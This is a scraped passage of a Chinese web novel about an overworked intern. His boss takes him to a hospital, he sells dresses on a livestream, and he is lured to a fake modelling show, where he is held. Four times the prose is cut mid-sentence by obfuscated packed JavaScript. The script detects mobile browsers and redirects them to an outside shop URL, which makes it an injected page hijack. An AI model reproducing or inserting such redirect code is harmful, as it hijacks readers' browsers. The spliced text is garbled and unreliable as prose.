l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732697|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲小心翼翼的语气,季然又心软了。 妈妈从来没有旅游过,季然还记得他读大学时妈妈也想去京市玩,但后来觉得花钱多,爸爸也不同意,就放弃了。 当时季然就下定决心,以后挣钱了一定要带父母出去玩。 “方便,你们过来吧,”季然说,“就是我工作忙,不一定有时间陪你们玩。” “我们只是过来看你,”妈妈说,“又不是专门过来玩的,不出去也行。” 季然又问他们什么时候过来,妈妈说等弟弟放寒假。 一家三口的出行是笔不小的开支,但季然现在有了收入,也愿意回报家人。 他问:“你们怎么过来?” 妈妈:“火车就行。” 爸爸:“最好卧铺。” 就算父亲不提醒,季然也不忍心让爸妈坐三十个小时的长途绿皮车。 季然小时候也坐过绿皮车,他初中毕业考上重点高中那年,爸妈允许他去他们工作的城市玩。 炎热的7月里,季然跟着一位叔叔上了车,绿皮车里挤满了人,混乱、闷热、又肮脏,季然在里面呆了三十多个小时,那是他这辈子都不想再体验的噩梦。 季然又开始看高铁票,车程十几个小时,车票将近一千。而且他们老家地级市没有高铁站,需要到省会才能乘车,说不定还要在市区住一晚。 折腾这么久车票也没便宜多少,还不如坐飞机。三个人的机票,那就更贵了…… 看着那一串串数字,季然陷入了犹豫中。 他存款不够了,就算下个月发了双倍工资也有些捉襟见肘。月薪2万听起来很多,但扣除五险一金税后到手也就一万多,而且他还要交下季度的房租,一万块又没了。 季然喉结滚了滚,声音有些沙哑:“硬卧可以吗?” 那边静了一瞬,这才说:“可以啊。” 妈妈若无其事地笑了起来:“我们当年打工去沿海都是绿皮车硬坐,要走一两天呢。” 季然愧疚不已,他屡次想说要不然你们别来了,可他一想到母亲这些年的辛劳,父亲曾经在工地上受的伤,又一个字也说不出来。 他也知道父母养大他不容易,早些年外出打工做的都是最辛苦的体力活,爸爸还在工地上丢了半截手指。 他现在读书读出来,是该好好回报他们。 可他真的好累…… 季然挂断电话,心头涌起了一股深深的无力感。 明明他找了一份还不错的工作,明明他涨了这么多工资,可为什么他的生活还是没有任何变化…… “嗡——” 手机突然震动起来,来电显示Samuel。 季然接通电话,声音有些哑:“老板您找我?” “你人不在医院?”寒深声音透过夜色传来,不辨喜怒。 “啊?”季然人有些懵。 寒深又问:“你人在哪里?” 季然:“……酒店。” 寒深:“下楼,我15分钟后到。” 下楼干什么?寒深要过来? 可他怎么在这里?过来的不是Asher吗?而且这速度也太快了吧? 季然心里乱得要命,但他不敢耽搁,洗了把脸就急匆匆下了楼。 此时时间已是凌晨,整个小镇都陷入了安静中,只有酒店门口还有一盏路灯亮着。 没过多久,一辆黑色轿车停在了季然面前。驾驶位车窗降下,露出寒深深邃的侧脸轮廓。 寒深掀起眼皮看了季然一眼:“上车。” 季然不太想去,摇头说:“我没事,就不麻烦您了……” “别让我说第二遍,”寒深压低嗓音,带上了命令的语气,“上车。” 季然鼻尖一酸,突然产生了一股莫名的委屈:“你来就是为了凶我吗?” 寒深似乎没想到季然会是这种反应,神情微怔,随即放缓语气说:“抱歉,我担心你的伤势,去医院看看好吗?” 季然没吭声,寒深没再催促他,只是耐心地等待。 又过了一会儿,季然觉得心情似乎没那么糟糕了,于是拉开车门坐进了副驾驶。 18. 第 18 章 镇医院晚上只开了急症,一位年迈的医生昏昏欲睡地坐在候诊室,见季然进来,简单地询问了一下情况,让他先去门口挂号。 季然拿着单子回到候诊室,医生接过看了眼,放下单子问他:“什么情况?” 季然看了眼寒深,撩起衣袖说:“手臂擦伤了。” 医生看了眼,又伸手按了按,然后问他:“还有别的地方受伤吗?” 季然迟疑片刻,说:“背也有点儿疼。” 医生:“衣服撩起来,转过去背对我。” 季然脱掉外套,还在犹豫要放到哪里,寒深伸手接了过去。季然说了声谢谢,撩衣服前抬头看了寒深一眼。后者左手臂弯挂着他外套,右手插在西装裤口袋里,似乎没有避让的意图。 季然抿了抿唇,动作迟缓地扯出衬衫,轻轻撩起了下摆…… 南方医院没有暖气,冰冷潮湿的空气开始刺激季然裸露的皮肤,让他身体不受控制地小幅度发着颤。 医生双手在他皮肤上按压,突然间,后腰传来一阵刺痛,就仿佛有铁钉钻进他骨头,季然难以自制叫出了声。 “嚯,这么大的血肿,”医生松开手,又按压了他周围别的地方,“这边也疼吗?” 他都快被疼死了。 季然紧咬牙关,艰难挤出几个字:“有点儿。” 之前本来没这么痛的,没想到休息了两个小时,竟然越来越严重。 医生还在检查旁边的部位,寒深站在季然身后,安静地注视着他。 面前的男生身体紧绷,纤瘦的后背在冰冷的空气中不安地颤抖着。季然后背到侧腰有一大片青紫的伤痕,这让他本就瘦弱的腰肢更显脆弱,仿佛被人凌辱…… “怎么伤得这么严重?”医生抬头看了眼寒深,目光有些责备。他把寒深当成了季然的监护人。 季然愣了下,这才意识到医生误会了,忙摇头道:“不关他的事,我自己摔倒的。” 医生没有多言,又问:“还有别的地方吗?” 季然想了想,摇头:“没有了。” “应该没伤到骨头,就是血肿,消肿了就好了,”医生站起来对季然说,“去床上躺好,伤口面对着我。” 季然只得坐在床上,犹豫了一会儿,脱掉皮鞋趴了上去。脸颊陷入理疗床的圆孔,季然视线受阻,隐隐感觉有些不安。 他看不见外面发生了什么,只能听到一阵脚步声靠近,然后医生的声音响起:“衣服撩起来。” 他又重新掀起衣服…… 因为趴着,腰部往下自然凹陷下去,露出一个脆弱的弧度。 寒深依旧站在旁边,安静地注视着。 医生开始给季然按压排血,他的手掌很热,劲儿也大,挨着季然皮肤,像是记忆中外公的大手。 就是这股劲儿也太大了,季然被疼得有些受不了,双手握成拳头。 “有点儿疼,你忍忍,”医生一边按一边说,“你这个部位靠近内脏,不好包太紧。只能先把淤血按下去,后稍微加压包扎。” 季然“嗯”了一声,他其实挺怕疼的,但他很能忍痛,哪怕疼得再受不了,也不会叫出声来。 但是为什么会这么疼疼疼疼疼疼! “呜……”又是一阵剧痛袭来,季然没忍住,发出了一声很小的呜咽。 医生的按压还在继续,比起疼痛带来的痛苦,更让季然害怕的是等待疼痛来临前的恐惧。 那仿佛幼年时父亲随时会落下的打骂,哪怕长大后父亲已经不再打他,但季然依旧活在这种恐惧中,觉得自己永远无法逃离。 直到一只宽厚的大掌抚上他头顶,寒深沉而稳的声音响起:“没事,再忍耐一下,很快就结束了。” 寒深在安抚他。 季然鼻头一酸,眼泪瞬间就掉了下来。 太丢脸了,这么大的人还在医院哭出来。 季然吸了吸鼻子,小声道歉:“对不起,我太疼了。” “都疼哭了?”医生笑了起来,“枕头都不用洗了。” 看着枕头上那一大片深色的水印,季然羞愧的低下了头。 见推拿结束,寒深开口说:“医生,包扎吧。” 医生这才放过了季然,拿出绷带给他包扎受伤部位。 洁白的绷带在男生身上缠了一圈又一圈,季然腰本来就细,被这么一裹更是不盈一握,寒深几乎一只手就能握过来。 包扎结束,医生又开了一些药膏,让季然拿着收费单子去缴费拿药。 季然还没来得及下床,寒深已经伸手拿过缴费单:“给我。” “可是……”季然不敢麻烦他。 “公司报销。”寒深说完,拿着缴费单出了门。 季然有些茫然地坐在床上,一时间不知道该不该跟过去。 过了一会儿,他从床上下来,慢吞吞地穿上外套。 医生和他搭话:“那是你领导?” 季然点点头。 医生:“不容易啊,你这领导还挺好的。” 季然点点头,也有些出乎意料,他根本没想到寒深会过来。 而且他怎么来这么快? 没过多久,寒深拿着几盒药膏回来了,医生又交代了他们一些冰敷的注意事项,季然一一记下,和寒深一起离开了医院。 今晚的火灾来得突然,也幸好发现及时。 除了季然试图用灭火器救火受伤外,没有出现别的伤亡。 医院门口很安静,季然在寒风中呼出一口气,抬头看向身旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732698|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人:“今晚谢谢您过来。” 寒深没有看他,很客套地说:“不客气。” 季然:“可您怎么来得这么快?” 寒深:“刚好在邻市。” 季然哦了一声,有些不知道该说什么了,他本来就不是一个话多的人。 医院门口建了一片广场,广场不能停车,他们要穿过广场才能抵达停车场。 季然和寒深安静地走在广场上,寒冷的月光洒下,照亮寒深宽阔挺拔的肩膀。 他还是一副话语不多、冷冷淡淡的模样,但在季然看来,却觉得这个人好像没有那么冷漠了。他虽然严厉,但确实是一个有能力也有担当的领导。 季然走到停车场,打开车门让领导先上车。 他刚弯下腰,后颈突然一紧——寒深捏住了他后颈。 体温伴随着掌心的压力传来,轻而易举就禁锢住了他的身体。季然身体瞬间一麻,几乎要跳了起来。 “Samuel,”小镇漆黑的夜色中,季然有些惶恐地抬头,“您怎么……” 男人粗粝的手指拂过他后颈的红痣,目光冷淡幽深:“这里,沾了药膏。” 药膏? 季然迷迷糊糊地想起,他离开前确实涂过一次膏药,现在身上都带着浓浓的药味儿。 季然忙低下头,感激道:“谢谢您。” 却不知他这一低头,让后颈毫无防备地暴露出来,寒深右手只要向下,就可以顺着脊柱长驱直入,轻易入侵他的身体。 不知是不是营养不良,季然身体有一种未发育的孱弱,让他看起来像是一个青涩的少年。 但寒深知道这只是表象,就是这具看似孱弱的身体,案发后第一时间抱着灭火器冲进酒窖,并在救援抵达前身先士卒,阻止火灾进一步扩大。 明明自己都在火灾中受了伤,他却还能坚持工作,甚至在深夜还交给了他一份漂亮的项目书。 寒深见过太多优秀的年轻人,他们往往出身优越,性格外向,精通社交,专业能力也不错,能轻易取得别人的好感。 和他们相比,季然给人的第一印象要普通得多,他不是那种第一时间就能让人信服的人。他性格内敛,不善言辞,看起来摇摇欲坠,随时都有坠落风险。 可每当有人觉得他会崩溃时,他又总能奇迹地坚持下来。 太努力,太能干,也太过乖巧,让人不由得想再逼他一把,直到他抵达极限。 旷野的风穿过山间吹向空旷的广场,寒深右手捏着季然后颈,眸色深了深…… “老板?” 直到一道怯生生的声音将他唤醒。 寒深这才收回手,语气冷淡道:“走了。” “哦。”季然点点头,绕到另一边上了车。 19. 第 19 章 回去的路上有些尴尬,季然伤了腰不敢往后靠,但镇上路况不好,一路都在颠来颠去。季然系了安全带都差点儿栽倒,多亏寒深伸手扶了他。 季然有些尴尬,忙道:“谢谢您。” 寒深收回手没有回应,季然更尴尬了。 他有些受不了这种窒息的气氛,试着活跃气氛:“您今晚住酒店吗?” 寒深说是。 镇上只有一家还可以的酒店,他们调研小组都住在这里。 季然又问:“那您什么时候离开?” 寒深说:“处理完工作就走。” 结果来得比季然想象中还要快,第二天上午他就收到消息,纵火的人是酒厂老总的弟弟。 兰亭酒业是他们父亲留下的产业,当初酒厂规模还小时,由兄弟俩同时经营。因为经营理念不合,弟弟带着一部分秘方出走自创品牌,剩下哥哥继续经营。 这些年来弟弟发展不太好,哥哥的事业却蒸蒸日上,一跃成为了本地的龙头企业。 股份制改革时弟弟就回来过,兄弟俩发生冲突,现在兰亭酒业一部分专利配方在弟弟手中,还有财务牵连,情况很复杂。 “有点儿坑啊,这种事情怎么不早说?”金石投行的人不满。 “虽然很气人,但还好现在爆了出来,”Leo说,“要是在送审前才知道这件事,那才要人命。” 企业和投行本是一条船上的人,但也不排除会有一些蠢蛋公司,把监管机构和投行都当傻子,为了上市报喜不报忧,刻意隐瞒缺陷。有友商就曾在申报前一周被企业背刺,损失惨重。 怪不得这次寒深都亲自过来了。 他们又在当地留了三天,处理了最紧迫、最棘手的方面,还有一些遗留问题则需要留给时间消化。 等季然回到沪市已是元旦,他只休息了一天,又马不停蹄继续开始了工作。 除了工作,他还有自己的事情要忙。毕竟元旦一过马上就是寒假,他家人就要过来了。 三个人至少一周的吃喝住行,这对季然来说是一笔不小的开支。 而且现在住的房子不太方便,他想攒钱换一个带卫生间的,不过这个需求可以往后靠一靠。 季然开始接一些商务推广,但他顾及粉丝体验,并没有接太明显的推广,只是在评论区置顶了穿搭链接。季然有些愧疚,就仿佛是在利用粉丝挣钱,毕竟他最初并没想通过这个账号变现,可惜形势所迫…… 当然,这种形式的推广价格也不会太高,一条链接2000块,季然一周发了两个视频,也才只有4000,对于一个家庭的旅行基金来说还是太少了。 思来想去,季然决定做一场购物直播,品类集中在女装和饰品。 他虽然预料到工作量会大,但没想到一场直播竟会如此麻烦。 光是选品就花光了他所有空余时间,虽然是为了赚钱,但季然也不想推荐一些丑东西。 他会先在网上寻找好穿又漂亮的裙子,通过初筛后,再询问商家是否愿意合作,如果愿意,他会让商家先寄一件样品过来,让他检验款式、布料、版型、做工、上身效果……大部分都及格后,才会加入直播推荐。 没想到愿意合作的商家比他想象中还要多,季然一周内就收了十几个快递,天天忙得要死。 偏偏工作也让人无法喘息,年底有不少投行项目都在加班,因为客户想赶在春节前上市,季然除了本职工作要完成外,还被各处借调,配合寒深处理这些IPO项目。 导师还在催他开题报告,这位导师对他很好,大二时指导他参加了院里的学术训练计划,后来就一直劝他回去读研,但都被季然拒绝了。 论文开题报告按理说要线下开会,但季然在外地实习,导师也破例允许他线上汇报,但季然还是迟迟没能提交选题,这让他更加愧疚了。 所有事情全都堆到了一起,季然恨不得变成一只八爪章鱼,或者分裂出三个自己处理不同的信息。季然天天玩了命一样加班,一天要喝四杯黑咖啡,连午睡都取消了。 可事情还是忙不过来,每天睡前他惦记着未完成的工作,第二天一睁眼又有数不清的工作涌来。 这些天里,季然一边搞钱一边疯狂加班,还要上交开题报告,人都要忙吐了。 是生理意义上的呕吐,最近他经常会感到恶心,有时候从椅子上站起来,眼前突然一片漆黑,要缓好几秒才能回过神来。 就在这种状态中,季然陆续完成了一项项工作,提交了开题报告,准备好了自己的第一次直播。 季然是不露脸主播,这次为了保护隐私,费了好大一番功夫。 有些主播是用虚拟卡通头像,但这种卡通头像不太稳定,偶尔会有延迟,而且会对选品造成一定干扰。 考虑到自己是带货裙子,季然最后决定戴假发和=口罩出镜。 周六下午2点,季然第一场带货直播准时开播。 直播间已经预热了半小时,季然也早早就出了镜,但依旧陆续有观众被他的造型震惊。 [我靠?这是我关注的博主吗?] [呜呜呜太美了,真的好好看!] [宝宝太可爱了,快来姐姐怀里!!!] 季然今天穿了一条白色吊带鱼骨伞裙,配上金色双马尾和浅色口罩,整体造型简单又好看。 点睛之笔是他眼睛上绑着的半透明蕾丝,既可以保护他的隐私,又不至于影响视线,让他看起来有一种梦幻的童话感,像是一个二次元里走出来的美少女。 [博主真的好会穿搭,看起来就像是一个OC!] [新思路打开了,这何尝不是养崽!] [这个腰围,这个骨架,这个冷白皮,呜呜呜好羡慕] [裙子真的好好看!限你一分钟之内给我上链接] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732699|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季然:“我身上的裙子是一号链接,全都是现货,直接拍下就行。支持七天无理由退货。主播直播间有优惠券,记得领券后再下单,哦。” [笑死,最后那个哦是临时补上去的吧。] [宝宝一看就不会撒娇,呆呆笨笨的,有点儿可爱。] [一想到笨蛋老婆在私下手忙脚乱的排练,就为了和我撒娇,更爱了呢!] [裙子好便宜,已下单,希望不要让我失望!] [买给我的男老婆穿,嘻嘻] [我靠!狠狠羡慕了,我也想要小班这样的男老婆!呜呜呜] “裙子是纯棉的,有内衬,可以当做裙撑。”季然走向镜头,进一步介绍裙子细节,“胸部有立体裁剪,我垫了假胸,可以看到还是很贴合胸型的。胸前的蝴蝶结可以解开,肩带也可以放下来落肩穿。” [救命,这个动作有点儿涩。] [啊啊啊啊妈妈我真的只是在看裙子啊!!] [真的太适合了,宝宝你真的是男生吗?] [对啊,完全看不出来啊,博主该不会是女孩子吧?] “不是女生。”季然回答,又意识到自己开了变声器,声音偏中性,他走到镜头前,仰头展示自己喉结。 “看到了吗?”季然伸手放在喉结上,说,“我有喉结的。” [我操,凑近了看更色了。] [谁教你做这个动作的!啊啊啊妈妈不允许!!] [啊啊啊啊我不许!除非你来我床上做!!] [小兔世界第一可爱]向[上班哪有不疯的]投了【1个深水鱼雷】 “呜呜呜,卑微请求,老婆能不能喊我名字,再做一次摸喉结的动作?” 季然:“额……” 虽然有点儿尴尬,但季然直播收到礼物本来就会口播感谢,摸喉结虽然有点儿怪,那也可以忍受吧。 于是季然摸着喉结说:“感谢小兔世界第一可爱的一个深水鱼雷。” 说这话时他微微仰起头,口罩是立体裁剪的,精致又小巧,因为是下午,又是在窗前,有一束光打在他喉结和手指上,有一种圣洁纯净之感。 [@小兔世界第一可爱]:啊啊啊啊啊!!超级可爱,一本满足!!! [小兔世界第一可爱]向[上班哪有不疯的]投了【1个深水鱼雷】 有人开了这个先例,陆续又有人效仿,季然依次口播:“谢谢汤圆的一个深水鱼雷,谢谢桃子沙冰的一个深水鱼雷,谢谢虎鲸的100个……” 等会儿,谁的? 季然卡了一下,难以置信地凑近屏幕。 就在刚才,[虎鲸]向[上班哪有不疯的]投了【100个深水鱼雷】 季然:? 虎鲸怎么在他直播间? 而且他可是卖裙子,虎鲸来凑什么热闹??买回去自己穿吗??? 20. 第 20 章 直播结束,季然把虎鲸的打赏还了回去。 虽然不知道虎鲸为什么要打赏他,但他不想欠人人情。虎鲸这次打赏他一万块,下次虎鲸直播,他也得打赏对方一万块,双方都亏了,只有平台怒赚。 除去还给虎鲸的5000块,这次直播加上打赏,季然收益大概有一万多。 他前前后后忙了两周,选品和直播都很用心,还要马不停蹄地讲三四个小时,说实话,这个性价比并没有多高。 他不是大博主,返点也不高,卖一条100块的裙子能抽成10块。而且他又是男生,身材和女生有着天然差距,并不太适合女士裁剪,来看热闹的巨多,下单的只是少数。 但真的好累,季然躺在床上,连脱裙子的力气都没有了。 他赚了一些钱,但似乎也没有很开心,这笔钱并不能完全解决他的困境。 打开微信群,依旧有数不清的工作等他完成。还有寒假即将过来的父母,这也给季然带来了颇大的压力。直播带货效益平平,也太花时间,季然开始寻找别的变现途径。 但他粉丝量不多,这个赛道也不太好接广告,主动私信的广告大多不堪入目。都是些情趣内衣,情趣用品,还有艾斯爱慕群体的物品带货…… 季然全都拒绝了,唯一一个还不错的是一个叫Soli-lunar的家具品牌,企业总部base北欧,但创始人来自中国,目前准备进入国内市场,想找网红拍广告做推广。 对方税前报价5万,且允许季然不露脸,季然几乎立刻就答应了。 但这个广告并非他一个人完成,还需要和另外一个大网红合作。国外品牌要靠网红粉丝打开国内市场,季然也理解他们的需求。 可没想到他们找的竟然是虎鲸,还被拒绝了。 季然人都麻了,光是用脚趾头想,就知道虎鲸不可能接这种广告。 季然不愿意放弃这个机会,又问PR是否还有备用人选,对方说没有。看着这条回复,季然的心彻底沉了下去。 好消息是两天后,季然又收到一条私信,一家传媒公司找他做兼职模特,参加Lolita走秀。 季然之前穿过lo裙,小小出圈了一波,有商家找他穿Lolita也正常。但去传媒公司做模特,还是让季然有些警惕。 大学时他做兼职遇到过好几次模特骗局,说是让人兼职做模特,结果一去就忽悠人拍模卡,一套模卡一千多,拍完模卡根本没有工作,人家骗的就是这个拍摄钱。 有不少人上当受骗,季然穷鬼一个,反而躲过一劫。 这次遇见传媒公司,季然心里多了个心眼儿,问对方:[要拍模卡吗?] [不拍。] 对方信誓旦旦的保证:[骗子公司才忽悠你拍摩卡呢,我们就是纯走秀,你不相信你在网上搜,都是正规活动。] 季然在网上搜索Lolita走秀,确实有这样的活动,看起来都非常正规。 这家公司可以搜到工商注册信息,再加上对方提供的报酬还算可观,并且允许他走秀时不露脸,季然就同意了这次合作。 周六傍晚,季然提前半个小时抵达了目的地点。 会址是一栋单独的大楼,金碧辉煌,很是气派。门口停了好多辆凯迪拉克,旁边有几个打扮时髦的年轻人进去。 工作人员告诉季然,他们都是来走秀的模特。 暂时看起来没什么问题,季然跟着工作人员进了后台。 房间面积很大,同时兼具化妆间和衣帽间,墙边立了一排梳妆台,有人坐在前面化妆,正在准备上场。 季然被安排在一个梳妆台前,随后工作人员拿过一套衣服,让他换上。 季然抖开一看,人傻了。 竟是一套女仆装,开叉开到屁股,还配了两条暗示意味浓厚的黑丝吊带袜。 我靠,什么Lolita走秀,这他妈的根本就是一个淫窝! 季然脸色一沉,丢下裙子就要走:“我不干了。” “你什么意思?”男人挡在了他面前。 季然脸色很冷:“老子不卖。” “别这么敏感嘛,”男人好生劝告,“我们的走秀都是正经的,最多再陪客人喝喝酒而已,这里大家都是自愿的,不信你问问他们。” 季然看向那些漂亮的男孩儿女孩儿,大部分人都面色如常,似乎早已见怪不怪。 “哥实话告诉你,干这行比你当网红来钱快。一晚上随随便便就几千块,遇到大方的客人找你过夜,你还能得到更多。”男人指着旁边桌上的一个大牌包,“你看看他们的包包和手机,都是进来后换的。以你这样的姿色,一晚上就拿到了。” 拿个屁。 季然直接甩了脸色:“我不干,让我走。” “走也可以,”男人捡起女仆装塞到他手里,说,“不过今晚有客人指定要你,你要走也得走完秀再走。” 让他穿着这玩意儿在一群男人面前走秀?那他还不如直接在网上当网黄。 季然才懒得搭理他,丢下女仆装转身就走。却不料对方竟然追了过来,还伸手要扯他口罩。 季然火气蹭一下就起来了,他矮身从男人手臂下方钻过去,又有两个保安来追他,整个化妆间乱得一团糟。 “怎么这么不听话呢?”男人背着双手站在一旁,对慌忙逃窜的季然说道,“只要你配合我们走一场秀,你拿了钱,我们也完成了任务,互利共赢嘛。” 说得冠冕堂皇,谁知道走秀后面还会给他安排什么? 一旦他松了这个口,那后面的发展就不受他控制了。 季然闪进一个换衣间,却不料有个漂亮高挑的女生正在帘子后面换衣服,季然一怔,整张脸全红了。 “对、对不起!”他忙不迭道歉,说着就要退出去。 对方却一把抓住他手腕,抬手往身后一指。 那里竟然有一道侧门! “谢谢女菩萨。”季然双手合十道谢,转身就跑。 “不客气。”那人开口回答,明显是男人的声音。 季然心中震惊,但不敢耽搁,立刻朝着后门冲了过去。 大厅里太乱了,保安还在衣服架子里翻找,没人发现他人已经离开。季然悄悄摸摸穿过走廊,身后有脚步声传来,他不敢硬碰硬,顺势躲进了一旁的洗手间。 现在他该怎么办? 报警吗?可一旦报警,他的真实身份就彻底暴露了,说不定还要上社会新闻。 告诉江宁?可江宁远在京市,就算真接到了他的求救电话,也只能替他报警,并没有什么实际方法。 联系父母?那更没用了。 都怪他财迷心窍,季然已经开始后悔接这个兼职了。 主要是他们前期看起来都非常正规,谁知道竟然是骗人过来陪酒。 也太脏了! 现在后悔于事无补,首要任务是先从这里脱身。 还好他进来时全程都没有取下口罩,没人知道真正的他长什么样。 犹豫了一会儿,季然决定取下口罩直接走出去。 他没露过面,唯一的辨认标志的就是发型和衣服。季然脱下外套,又把刘海儿全都撩上去,他在脑海中想象寒深的表情,大模大样走了出去。 毕竟他老板长得那么好看,但谁都不会把他当成出来卖的。 期间季然遇到了两个穿西装的工作人员,他很紧张,但对方并发现他的异常。 看来他伪装还算成功。 穿过一个长长的走廊,季然进入了一个大厅。 大厅里聚集着不少男人,仿佛一个舞会现场。中间放着一个T台,应该就是那些人走秀的地方。 一个淫窟还搞得像模像样。 季然内心不屑,却恰到好处地露出审视的目光,仿佛什么挑剔的客人。 他借机打量起了周围的环境,四面八方都是门,他出来的那个走廊通向休息室,季然决定穿过大厅去往另一边。 期间有人意图过来搭讪,被季然轻蔑的目光瞪了回去。 目前都没有什么问题,然而就在他即将抵达出口时,一个穿西装带耳麦的男人朝他走了过来。 “客人,请出示一下邀请函。” 艹。 季然扬起下巴,神情挑剔而冷漠:“你什么身份,也配来质问我?” “很抱歉,我姓赵,是本次活动的经理,”姓赵的男人说,“现在例行抽查客人邀请函,请您配合。” 季然脸色刷地一下沉了下来:“这么多人,凭什么就抽查我?看不起我?” 赵经理:“客人,我们只是按规章办事。” “滚开,你不配和我谈,”季然根本不多看他一眼,径直道,“让你们老板出来。” 赵经理转身打了个电话,有客人注意到这边的冲突,好奇地打量着季然。 “看什么看?没见过帅哥?”季然把人骂了回去,脾气很大地抱怨起来,“张三这个狗东西,把这个地方吹上天了,结果就这?没意思,小爷我不玩了。” 季然怒气冲冲就要离开,那个赵经理已经拦在他面前,又说:“请留步,我们老板实在抽不开身,嘱咐我好好招待您。” 季然才不吃他这套,冷冷道:“我不满意你的招待,我要走。” “很抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732700|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给您带来了不好的体验,”赵经理微微欠身,继续道,“您刚才说是张三带您进来的,敢问是哪位张三?因为我们这边都是会员制,只是做个记录。” “张三就是张三啊,”季然一脸你怎么这都不知道的表情,不悦道,“都是出来玩儿的,谁知道他全名?” 赵经理顿了顿,换了个话题:“那请问您如何称呼?” 季然就笑了:“你们还想问我真名儿?我爹从不让我来这种地方,被他发现我就死了。” 经理沉默了好几秒,就在季然以为自己已经露馅儿时,对方却说:“我们给您准备了一个包厢,您可以在里面休息,然后等张三过来接您。” “不用,你这个地方我一秒钟都呆不进去——” 季然头也不回地往前走去,撞上了两个大汉的胸膛。 赵经理:“只要您朋友过来,您就可以离开了。” 季然后退一步,知道这件事没有回转余地了。 “烦死了,”他转身走进包房,掏出手机打了个电话,“张三,你小子死哪里去了?赶紧过来接我,这破地方一点儿都不好玩!他们还敢把我关起来,我一定要让我哥给他们好看!” 大门在身后关闭,季然被软禁在了房间。 不清楚这里有没有监控,季然不敢放松警惕,他坐在椅子上,看起来一脸不耐烦,其实已经紧张到了极点。 刚才那个电话他就没打出去,压根儿没有张三这个人,他也不认识什么牛逼轰轰的人能接走他。 直到现在季然才不得不承认,他这几个月确实过得糟糕至极,每天除了工作就是工作,没有任何私人关系,连一个可以求救的本地朋友都没有…… 微信里几百号人,除了同事就是客户,发消息最多的是寒深。 总不能让领导过来救他吧? 不行,只能报警了。 社死就社死把,丢工作他也认了,总比留在这里陪酒卖屁股来得强。 季然深吸一口气,划开手机准备打110。 门外突然传来一阵声音: “为什么不让我进去?绝对错不了,他就是那个跑路的网红!衣服都在厕所里发现了。” “就你知道?不管你想做什么,都要等我这边处理完。虽然可能性不大,但万一真惹到了我们惹不起的人,大家都得吃不了兜着走。” 这些人就不怕犯法吗? 季然焦躁地咬住下唇,刚准备报警,手机却突然响了。 季然慌乱地接通电话,话筒里传出寒深低沉冷漠的声音。 季然握紧手机,眼眶有些发烫。 “Julian?你在听吗?”寒深问他。 “我……”季然声音有些抖,过了好几秒才说,“电脑不在身边,我现在可能不太方便。” 周末找不到人也正常,寒深没再多言,平静道:“我知道了。” 眼看寒深就要挂电话,季然急忙开口:“等等,我——” 话一出口他却停了下来。 真的要向寒深求助吗? 可寒深只是他上司,他怎么能因为这种事情麻烦他? 好吧,就算他真的说了出来,寒深也愿意过来,但想要从这里离开,势必会给寒深带来麻烦。 怎么办,要说吗? “还有事吗?”寒深问他。 季然双手握紧手机,呼吸逐渐急促。 “我没事。”季然说。 寒深却沉默了下来。 季然喉结滚动,小声道:“如果没事,那我先挂电话……” “你遇到麻烦了?”寒深突兀地打断他的话。 季然呆呆愣在原地,过了四五秒才难以置信地说:“您怎么知道?” “你怎么了?”寒深不答反问,“告诉我你遇到了什么事。” 命令的语气,寒深的态度也非常强势,却让季然感到了安心。 “我……”他深吸一口气,努力抑制着嗓音的颤抖,“我出来玩儿被人扣下了,您能不能过来接我一下?” 寒深:“你人在哪儿?” 季然报出会所地址。 寒深沉默两秒,语气严肃起来:“你还安全吗?” “暂时还算安全,”季然看了眼随时可能会被推开的大门,声音有些发颤,“他们把我关在包厢,不让我离开,暂时没对我做别的事情……” “再坚持一下,我30分钟后到,”电话那头传来脚步声和关门声,寒深叮嘱他,“电话别挂,有问题随时告诉我,注意保护自己。” 季然紧咬下唇,一个字都说不出来。 他怕自己一张口就哭出了声。 第 21 章 做戏。【大修,新... 第21章做戏。【大修,新. 等待的时间变得无比煎熬,虽然寒深许诺要来,但季然还是不可抑制地陷入了焦虑。 不知过了多久,大门突然被人“砰!”一声推开。 寒深到了吗? 进来的却是两个西装男,当初领季然进来的男人冷笑一声,毫不客气地朝他走来:“我就知道,根本没有什么张三,还在这儿给爷装有钱人。真把爷当傻屌呢?出来,客人已经等不及了。” 季然看向赵经理,后者无奈地摊手:“小朋友,在我们这里骗人可是要被关小黑屋的。” 季然的心重重沉了下去。 